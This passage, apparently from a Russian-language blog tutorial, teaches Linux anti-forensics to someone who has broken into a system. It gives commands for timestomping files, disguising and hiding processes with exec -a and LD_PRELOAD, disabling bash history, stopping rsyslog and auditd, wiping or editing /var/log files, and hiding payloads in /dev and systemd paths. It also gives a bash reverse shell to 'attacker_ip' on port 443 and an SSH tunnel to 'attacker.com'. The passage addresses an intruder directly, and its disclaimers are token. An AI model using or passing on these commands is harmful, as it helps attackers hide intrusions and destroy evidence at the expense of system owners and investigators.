\u0430\u0440\u0435\u0441\u0442\u0430. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u044c \u2014 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c.<\/p>\n<h3>\u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0438\u0437 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0438\u0440\u0430: \u043a\u0430\u043a \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442\u0441\u044f<\/h3>\n<p>\u041c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u0431\u044b\u043b \u043d\u0430\u0432\u0435\u0441\u0442\u0438 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a. \u0417\u0430\u0431\u044b\u0442\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 <em>bash_history<\/em>, \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0435 \u0438\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u043a\u0430 \u2014 \u044d\u0442\u043e \u0442\u0435 \u0441\u0430\u043c\u044b\u0435 \u0443\u043b\u0438\u043a\u0438, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043b\u043e\u0432\u044f\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.<\/p>\n<h4>1) \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u043c\u0435\u0442\u043a\u0430\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432<\/h4>\n<p>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 <em>Timestomping<\/em>?<\/p>\n<p><em>Timestomping<\/em> \u2014 \u044d\u0442\u043e \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u043a \u0444\u0430\u0439\u043b\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u0440\u0448\u0435 \u0438 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e. \u042d\u0442\u043e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441\u0440\u0435\u0434\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445.<\/p>\n<p><strong>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u043a:<\/strong><\/p>\n<p><code>touch -r \/bin\/ls malicious_<\/code><a href=\"http:\/\/file.sh\" rel=\"noopener noreferrer nofollow\"><code>file.sh<\/code><\/a><\/p>\n<p>\u0421\u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443 \u0432\u0430\u0448\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u043a\u0435 <em>\/bin\/ls<\/em>. \u0425\u043e\u0442\u0438\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u0434\u0430\u0442\u0443?<\/p>\n<p><code>touch -t 202001011200.00 <\/code><a href=\"http:\/\/yourscript.sh\" rel=\"noopener noreferrer nofollow\"><code>yourscript.sh<\/code><\/a><\/p>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u043c\u0438\u0440\u0435:<\/strong><\/p>\n<p>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0432\u044b \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b\u0438 <em>reverse shell<\/em> \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 <em>\/usr\/local\/bin<\/em>. \u0415\u0441\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u043a\u0430 \u044f\u0432\u043d\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 &#171;\u0441\u043e\u0437\u0434\u0430\u043d\u043e \u043f\u044f\u0442\u044c \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434&#187;, \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u044d\u0442\u043e. \u0418\u0441\u043f\u0440\u0430\u0432\u044c\u0442\u0435 \u044d\u0442\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443, \u0438 \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e.<\/p>\n<h4>2) \u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u041f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432<\/h4>\n<p>\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0432 ps, \u0432\u0435\u0440\u043d\u043e? \u041d\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0445\u0438\u0442\u0440\u044b&#8230;<\/p>\n<p><code>exec -a \"[kworker\/0:1H]\" .\/evil_<\/code><a href=\"http:\/\/script.sh\" rel=\"noopener noreferrer nofollow\"><code>script.sh<\/code><\/a><\/p>\n<p>\u042d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0430\u0448 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 \u043f\u043e\u0442\u043e\u043a \u044f\u0434\u0440\u0430. \u041e\u0442\u043b\u0438\u0447\u043d\u0430\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430, \u043f\u0440\u0430\u0432\u0434\u0430?<\/p>\n<p><strong>\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f \u0441 <em>\/proc<\/em> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <em>Bash<\/em>:<\/strong><\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0438\u0442\u0430\u0442\u044c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043c\u044f \u0432\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430:<\/p>\n<p><code>echo \"httpd\" &gt; \/proc\/$$\/comm<\/code><\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 LD_PRELOAD \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/strong><\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043c\u0430\u0445\u0438\u043d\u0430\u0446\u0438\u0438, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 <em>shared object (.so)<\/em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u0448 <em>PID<\/em> \u043e\u0442 <em>ps<\/em> \u0438 <em>top<\/em>:<\/p>\n<p><code>LD_PRELOAD=.\/<\/code><a href=\"http:\/\/hide.so\" rel=\"noopener noreferrer nofollow\"><code>hide.so<\/code><\/a><code> .\/payload<\/code><\/p>\n<h4>3) \u041e\u0447\u0438\u0441\u0442\u043a\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 Bash<\/h4>\n<p>\u041e\u0442\u0443\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 <em>~\/.bash_history<\/em>. \u041d\u0430\u0447\u043d\u0438\u0442\u0435 \u0432\u0430\u0448\u0443 \u0441\u0435\u0441\u0441\u0438\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p><code>HISTFILE=\/dev\/null<\/code><\/p>\n<p><code>unset HISTFILE<\/code><\/p>\n<p><code>set +o history<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c Bash \u043d\u0435 \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442\u0441\u044f.<\/p>\n<p><strong>\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435<\/strong><\/p>\n<p>\u0414\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u044d\u0442\u043e \u0432 \u0432\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<p><code>history -c &amp;&amp; history -w<\/code><\/p>\n<p><em>\u201cBest Practices\u201d<\/em> \u0434\u043b\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439<\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 script, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043c\u0435\u0441\u0442\u0430\u0445.<\/p>\n<h4>4) \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0436\u0443\u0440\u043d\u0430\u043b\u0430<\/h4>\n<p>\u041f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 Syslog. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c syslog, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0432 \u0435\u0433\u043e \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0432 \u0441\u043b\u0443\u0436\u0431\u0443:<\/p>\n<p><code>service rsyslog stop<\/code><\/p>\n<p>\u041d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0441\u043d\u043e\u0432\u0430 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0435\u0435, \u0438\u043d\u0430\u0447\u0435 \u044d\u0442\u043e \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f.<\/p>\n<p><strong>\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 <em>Audit Logs<\/em> \u0447\u0435\u0440\u0435\u0437 <em>Bash:<\/em><\/strong><\/p>\n<p><code>auditctl -e 0<\/code><\/p>\n<p>\u042d\u0442\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0430\u0443\u0434\u0438\u0442\u0430 Linux. \u041e\u043f\u044f\u0442\u044c \u0436\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445.<\/p>\n<h4>5) \u0410\u043b\u0438\u0430\u0441\u044b \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432<\/h4>\n<p><strong>\u0417\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u0438\u0430\u0441\u044b rm, cd \u0438\u043b\u0438 ls<\/strong><\/p>\n<p><code>alias ls='ls --color=auto --hide=<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code>'<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0430\u0448 \u0444\u0430\u0439\u043b \u0438\u0441\u0447\u0435\u0437\u043d\u0435\u0442 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430.<\/p>\n<p><strong>\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043b\u0438\u0430\u0441\u043e\u0432 Bash<\/strong><\/p>\n<p>\u0420\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u0435 \u0438\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 .bashrc \u0438\u043b\u0438 .bash_profile, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438\u0441\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0441\u0435\u0441\u0441\u0438\u044f\u0445.<\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u043b\u0438\u0430\u0441\u043e\u0432 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438<\/strong><\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0430\u043b\u0438\u0430\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0438 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u044b:<\/p>\n<p><code>alias vanish='rm -rf ~\/.bash_history \/var\/log\/*'<\/code><\/p>\n<p>(\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445.)<\/p>\n<h4>6) \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/h4>\n<p><strong>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u043e\u0447\u0435\u043a<\/strong><\/p>\n<p>\u0412 Linux \u043b\u044e\u0431\u043e\u0439 \u0444\u0430\u0439\u043b \u0438\u043b\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438 (.), \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u043a\u0440\u044b\u0442\u044b. \u042d\u0442\u043e \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430.<\/p>\n<p><code>mv my_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code> .my_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><\/p>\n<p>\u041e\u043d \u043d\u0435 \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u044b\u0447\u043d\u043e\u043c <em>ls<\/em>, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 <em>ls -a<\/em>.<\/p>\n<p><strong>\u041f\u0440\u0435\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b<\/strong><\/p>\n<p>\u0425\u043e\u0442\u0438\u0442\u0435 \u0437\u0430\u0439\u0442\u0438 \u0434\u0430\u043b\u044c\u0448\u0435? \u041d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0444\u0430\u0439\u043b\u044b \u0442\u0430\u043a, \u0431\u0443\u0434\u0442\u043e \u043e\u043d\u0438 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.<\/p>\n<p><code>mv my_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code> <\/code><a href=\"http:\/\/systemd-update.sh\" rel=\"noopener noreferrer nofollow\"><code>systemd-update.sh<\/code><\/a><\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u0441\u043f\u0440\u044f\u0447\u044c\u0442\u0435 \u0435\u0433\u043e \u0432 <em>\/lib\/systemd\/<\/em> \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435. \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e.<\/p>\n<p><strong>\u0421\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0432 \/dev, \/tmp, \u0438\u043b\u0438 \/run<\/strong><\/p>\n<p>\u042d\u0442\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0447\u0430\u0441\u0442\u043e \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f.<\/p>\n<p><code>mv <\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code> \/dev\/.udevtrigger<\/code><\/p>\n<p><code>chmod +x \/dev\/.udevtrigger<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u041e\u0442\u043b\u0438\u0447\u043d\u043e.<\/p>\n<h4>7) \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438<\/h4>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 <em>nc<\/em> \u0438\u043b\u0438 <em>bash -i<\/em> \u0440\u0435\u0432\u0435\u0440\u0441-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u0445<\/strong><\/p>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0447\u0442\u043e-\u0442\u043e, \u0447\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:<\/p>\n<p><code>bash -i &gt;&amp; \/dev\/tcp\/attacker_ip\/443 0&gt;&amp;1<\/code><\/p>\n<p>443 \u2014 \u044d\u0442\u043e <em>HTTPS<\/em>. \u041d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u0434\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043a <em>HTTPS<\/em>.<\/p>\n<p><strong>\u041e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e TLS \u0438\u043b\u0438 VPN<\/strong><\/p>\n<p>\u0422\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u0443\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u0441\u0435\u0430\u043d\u0441\u044b:<\/p>\n<p><code>ssh -D 9050 <\/code><a href=\"mailto:user@attacker.com\" rel=\"noopener noreferrer nofollow\"><code>user@attacker.com<\/code><\/a><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 <em>SOCKS<\/em>-\u043f\u0440\u043e\u043a\u0441\u0438. \u0418\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <em>stunnel<\/em>, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u044c \u0432\u0430\u0448\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0432 <em>TLS<\/em>.<\/p>\n<p><strong>\u041c\u043e\u043d\u0438\u0442\u043e\u0440\u044c\u0442\u0435 \u0441\u0435\u0431\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <em>lsof<\/em> \u0438 <em>netstat<\/em><\/strong><\/p>\n<p>\u0412\u0441\u0435\u0433\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u0441\u043b\u0435\u0434\u044b:<\/p>\n<p><code>lsof -i<\/code><\/p>\n<p><code>netstat -tulnp<\/code><\/p>\n<p>\u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u043d\u0438\u0447\u0442\u043e \u043d\u0435 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430.<\/p>\n<h4>8) \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u043e\u0432 \u0438\u0437 \u043b\u043e\u0433\u043e\u0432<\/h4>\n<p><strong>\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 <em>\/var\/log\/auth.log, lastlog, utmp, wtmp<\/em><\/strong><\/p>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0431\u044b\u0442\u044c <em>root<\/em>. \u041d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0438\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0435\u0441\u044c:<\/p>\n<p><code>&gt; \/var\/log\/auth.log<\/code><\/p>\n<p><code>&gt; \/var\/log\/syslog<\/code><\/p>\n<p>\u0418\u043b\u0438 \u0435\u0449\u0435 \u043b\u0443\u0447\u0448\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <em>sed<\/em>, \u0447\u0442\u043e\u0431\u044b \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u043e\u0438 \u0437\u0430\u043f\u0438\u0441\u0438:<\/p>\n<p><code>sed -i '\/your_username\/d' \/var\/log\/auth.log<\/code><\/p>\n<p><strong>Bash \u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438:<\/strong><\/p>\n<p><code>cat \/dev\/null 